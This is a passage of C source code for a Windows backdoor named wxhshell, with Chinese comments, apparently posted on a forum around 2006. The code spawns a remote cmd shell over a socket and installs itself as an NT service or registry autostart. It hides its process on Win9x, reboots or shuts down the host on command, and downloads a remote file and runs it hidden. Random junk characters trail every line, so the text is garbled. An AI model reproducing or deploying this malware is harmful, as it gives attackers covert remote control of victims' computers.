  qR'FbI  
  // 帮助 !b+4[ xky  
  case '?': { Zu.hcDw1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h p|v?3(  
    break; @}H u)HO  
  } W_2;j)i  
  // 安装 oRCc8&  
  case 'i': { 'nq=xi@RC  
    if(Install()) 'IX1WS&\"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L*Z.T^h  
    else 9,'m,2%W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qb^G1#r@C  
    break; $Aw@xC^!  
    } |T6K?:U7  
  // 卸载 *)Qv;'U=rn  
  case 'r': { }n==^2  
    if(Uninstall()) wtek5C^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Osu1]Jn>  
    else WiytHuUF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PT2;%=f  
    break; L(TM& ps\-  
    } P~trxp=k  
  // 显示 wxhshell 所在路径 rw'+2\  
  case 'p': { '(5GR I<  
    char svExeFile[MAX_PATH]; GM6, LzH  
    strcpy(svExeFile,"\n\r"); ELCNf   
      strcat(svExeFile,ExeFile); 3%+ ~"4&  
        send(wsh,svExeFile,strlen(svExeFile),0); "Au4&Fu  
    break; KrpIH6  
    } *&I>3;~%^}  
  // 重启 Ljd`)+`D  
  case 'b': { |/gt;H~:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~</FF'Xz  
    if(Boot(REBOOT)) !1)aie+p6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ",b:rgpRp  
    else { Dx-P]j)4x  
    closesocket(wsh); x]c8?H9,&  
    ExitThread(0); Ocdy;|&  
    } yl-:9|LT  
    break; }/a%-07R  
    } |'?vlUCd  
  // 关机 `NW/Z/_  
  case 'd': { V.*TOU{{xh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BD C DQ  
    if(Boot(SHUTDOWN)) E@SFK=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =K`.$R  
    else { \1<'XVS  
    closesocket(wsh); :.x(( FU  
    ExitThread(0); "|8oFf)l@B  
    }  aO&U=!  
    break; 5%Qxx\q  
    } *2zp>(%  
  // 获取shell BmX'%5ho  
  case 's': { a#j,0FKv  
    CmdShell(wsh); IIR+qJ__|  
    closesocket(wsh); +Y 7M7  
    ExitThread(0); KYpS4&Xh  
    break; gI^&z  
  } )s $]+HQs  
  // 退出 !2|Lb'O  
  case 'x': { cdMSC7l!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hObL=^F  
    CloseIt(wsh); &42 ]#B"*  
    break; !vwio!  
    } ]UvB+M]Lv)  
  // 离开 !J7`frv"(  
  case 'q': { z(\a JW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aoN\n]g  
    closesocket(wsh); fUjo',<s  
    WSACleanup(); fB$a )~  
    exit(1); E`fG9:6l]  
    break; )7 p" -  
        } =?OU^ u`C  
  } OXQ*Xpc  
  } :TQp,CEa  
Ixxs(  
  // 提示信息 Pm/<^z%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xWG@<}H  
} M|DMoi8x  
  } u} mj)Nk  
k+h}HCzE  
  return; ztO)~uL  
} U<j5s\Y,  
lCU clD  
// shell模块句柄 & &}_[{fc  
int CmdShell(SOCKET sock) 6(8 F4[D  
{ SxRJ{m~  
STARTUPINFO si; j[r}!;O  
ZeroMemory(&si,sizeof(si)); -$Fj-pO\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J8:s=#5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C7%R2>}?f  
PROCESS_INFORMATION ProcessInfo; tRoSq;VrS  
char cmdline[]="cmd"; At.& $ t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mo| D  
  return 0; 5T;LWS  
} ahl|N`  
gnp.!-  
// 自身启动模式 t=P+m   
int StartFromService(void) qd0G sr}j  
{ /!H24[tnk1  
typedef struct y[ dB mTY  
{ Orq/38:4G  
  DWORD ExitStatus; u n v:sV#b  
  DWORD PebBaseAddress; JG!B3^qB  
  DWORD AffinityMask; TUp\,T^2  
  DWORD BasePriority; #<0Hvde  
  ULONG UniqueProcessId; 7:UeE~ uB:  
  ULONG InheritedFromUniqueProcessId; d7V/#34  
}   PROCESS_BASIC_INFORMATION; s 4`-mIa  
lO-DXbgql$  
PROCNTQSIP NtQueryInformationProcess; xv]z>4@z,  
[7@blU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /]U$OP*0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` i[26Qb  
puOtF YZ\  
  HANDLE             hProcess; hY4#4A`I  
  PROCESS_BASIC_INFORMATION pbi; wC{sP"D  
TZgtu+&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z[@ i/. I  
  if(NULL == hInst ) return 0; t utk*|S  
e1Db +QBV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s$#64"F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &[d'g0pF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p cLKE ZK  
31G:[;g  
  if (!NtQueryInformationProcess) return 0; +~"IF+T RH  
Exw d,2>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JO|j?%6YY  
  if(!hProcess) return 0; \Tz|COG5h\  
XC3)#D#HGh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o9xc$hX}  
\'y]mB~k  
  CloseHandle(hProcess);  7UBDd1  
)w].m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uc,>VzdB  
if(hProcess==NULL) return 0; ;u2[Ww~k  
Mq91HmC(@  
HMODULE hMod; gN/!w:  
char procName[255]; Q`bXsH  
unsigned long cbNeeded; IOFXkpK R  
]xvA2!) Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I$"Z\c8;  
.F ?ww}2p]  
  CloseHandle(hProcess); /gu VA  
"(mJupI  
if(strstr(procName,"services")) return 1; // 以服务启动 T, #-: }  
Vg$d|m${  
  return 0; // 注册表启动 F+*E}QpM  
} :-x?g2MY  
~ikp'5  
// 主模块 ?6 2zv[#  
int StartWxhshell(LPSTR lpCmdLine) hrniZ^  
{ [+WsVwyf?  
  SOCKET wsl; mu B Y  
BOOL val=TRUE; XoyxS:=>|[  
  int port=0; :cA P{rSe  
  struct sockaddr_in door; 1:eWZ]B5"  
= o(}=T>:"  
  if(wscfg.ws_autoins) Install(); R,T0!f  
'ON/WKJr|W  
port=atoi(lpCmdLine); le5@WG/x  
URVW5c  
if(port<=0) port=wscfg.ws_port; >)K3  
!/}4_s`,  
  WSADATA data; /o4_rzR?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UA.Tp[u  
s~,!E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s $(%]~P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G4i%/_JU  
  door.sin_family = AF_INET; bm;iX*~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $@VJ@JAe  
  door.sin_port = htons(port); i7dDklj4  
,.Ofv):=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E]q>ggeNH  
closesocket(wsl); `6rLd>=R  
return 1; 0/~p1SSun  
} [ &Wy $  
Y's=31G@  
  if(listen(wsl,2) == INVALID_SOCKET) { }P2*MrkcHB  
closesocket(wsl); 0-p^o A  
return 1; Ow-ejo  
} lz=DGm  
  Wxhshell(wsl); pKLcg"{[F  
  WSACleanup(); W<<G  'Km  
,q*|R O  
return 0; \WE/#To  
0faf4LzU!  
} NL.3qx  
ok--Jyhv#  
// 以NT服务方式启动 I 6WHC*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;FlDRDZ%  
{ L@MCB-@V  
DWORD   status = 0; ,8*A#cT B  
  DWORD   specificError = 0xfffffff; <w&'E6mU  
A#$l;M.3R  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  '0f!o&?g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J|xXo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7_Vd%<:  
  serviceStatus.dwWin32ExitCode     = 0; <2*+Y|Lk2  
  serviceStatus.dwServiceSpecificExitCode = 0; 23LG)or.JC  
  serviceStatus.dwCheckPoint       = 0; K;/f?3q  
  serviceStatus.dwWaitHint       = 0; BSS4}qyS  
0uKm)t/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a/E(GQ,,  
  if (hServiceStatusHandle==0) return; CV |Ae [  
~a=]w#-KD  
status = GetLastError(); AYNz {9  
  if (status!=NO_ERROR) fe4/[S{a   
{ OY"BaSEOw}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q|YnNk>1  
    serviceStatus.dwCheckPoint       = 0; Wr Wz+5M8  
    serviceStatus.dwWaitHint       = 0; R]od/u/$  
    serviceStatus.dwWin32ExitCode     = status; v2|zIZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; }!g$k $y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-O.i\1q  
    return; L^^f.w#m  
  } "j%Gr :a  
Y+S<?8pA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \.P'8As  
  serviceStatus.dwCheckPoint       = 0; (O ;R~Io  
  serviceStatus.dwWaitHint       = 0; Q]/g=Nn ^~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P,S!Z&!  
} "QfF]/:  
2v?#r"d  
// 处理NT服务事件,比如:启动、停止 >Dv=lgPF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H{P*d=9v  
{ /L,iF?7  
switch(fdwControl) \(Dm\7Q.  
{ $xvwnbq#y  
case SERVICE_CONTROL_STOP: -XECYwTh  
  serviceStatus.dwWin32ExitCode = 0; +L?;g pVE&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; = r=/L  
  serviceStatus.dwCheckPoint   = 0; B%Oi1bO  
  serviceStatus.dwWaitHint     = 0; Uwiy@ T Z  
  { I-s$U T[p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e,vgD kI;  
  } <O9WCl  
  return; cL %eP.  
case SERVICE_CONTROL_PAUSE:  ">|L<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #SLi v  
  break; `5t~ Vlp  
case SERVICE_CONTROL_CONTINUE: 99h#M3@!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /\jRr7 Cd  
  break; -?T|1FA,  
case SERVICE_CONTROL_INTERROGATE: ^-# :T  
  break; vO{[P# L}  
}; 1i Y?t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z _<Wr7D  
} n-9X<t|*?a  
DKQQZ` PF  
// 标准应用程序主函数 c1%ki%J#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Dnv=)Rq  
{ #z}IW(u<  
o,1Fzdh6(  
// 获取操作系统版本 S r7EcT-  
OsIsNt=GetOsVer(); arPqVMVr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :fG9p`  
K!jau|FS  
  // 从命令行安装 +/*A}!#v  
  if(strpbrk(lpCmdLine,"iI")) Install(); w RTzpG4  
NLWj5K)1P  
  // 下载执行文件 9 LEUj  
if(wscfg.ws_downexe) { $<wU>X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > m9ge`!9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6mrfkYK  
} )N ^g0 L  
{7Ez7'SVV  
if(!OsIsNt) { ctC! b{S"@  
// 如果时win9x,隐藏进程并且设置为注册表启动 kZ_5R#xK  
HideProc(); ~o ;*{ Q  
StartWxhshell(lpCmdLine); YF");itH  
} eR1]<Z$W\  
else ]s_BOt  
  if(StartFromService()) Cvs4dd%)i  
  // 以服务方式启动 ;S>ml   
  StartServiceCtrlDispatcher(DispatchTable); f#vVk  
else bU(fH^  
  // 普通方式启动 WAw} ?&k  
  StartWxhshell(lpCmdLine); .=b)Ae c  
EJrQ9"x&n  
return 0; Q5v_^O<!  
}
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只看该作者 1 发表于: 2006-10-10
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